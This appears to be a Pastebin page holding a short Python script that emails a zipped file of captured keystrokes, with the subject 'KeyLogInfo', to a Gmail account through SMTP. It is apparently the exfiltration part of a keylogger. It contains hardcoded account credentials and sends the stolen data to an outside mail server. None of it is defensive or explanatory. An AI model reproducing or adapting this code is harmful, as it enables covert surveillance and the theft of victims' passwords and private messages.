Advertisement
Guest User

Untitled

a guest
Nov 15th, 2018
174
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.02 KB | None | 0 0
  1. import os
  2. import time
  3. import smtplib
  4. from email.mime.multipart import MIMEMultipart
  5. from email.mime.base import MIMEBase
  6. from email.mime.text import MIMEText
  7. from email import encoders
  8. import arrow
  9.  
  10. time.sleep(1)
  11.  
  12. email_user = 'kilogged@gmail.com'
  13. email_password = 'vandanbhatt27'
  14. email_send = 'kilogged@gmail.com'
  15.  
  16. subject = 'KeyLogInfo'
  17.  
  18. msg = MIMEMultipart()
  19. msg['From'] = email_user
  20. msg['To'] = email_send
  21. msg['Subject'] = subject
  22.  
  23. body = 'Here are the keylog details ; ) Date: ' + arrow.now().format('YYYY-MM-DD')
  24. msg.attach(MIMEText(body,'plain'))
  25.  
  26. filename='ZippedFiles.zip'
  27. attachment  =open(filename,'rb')
  28.  
  29. part = MIMEBase('application','octet-stream')
  30. part.set_payload((attachment).read())
  31. encoders.encode_base64(part)
  32. part.add_header('Content-Disposition',"attachment; filename= "+filename)
  33.  
  34. msg.attach(part)
  35. text = msg.as_string()
  36. server = smtplib.SMTP('smtp.gmail.com',587)
  37. server.starttls()
  38. server.login(email_user,email_password)
  39.  
  40.  
  41. server.sendmail(email_user,email_send,text)
  42. server.quit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement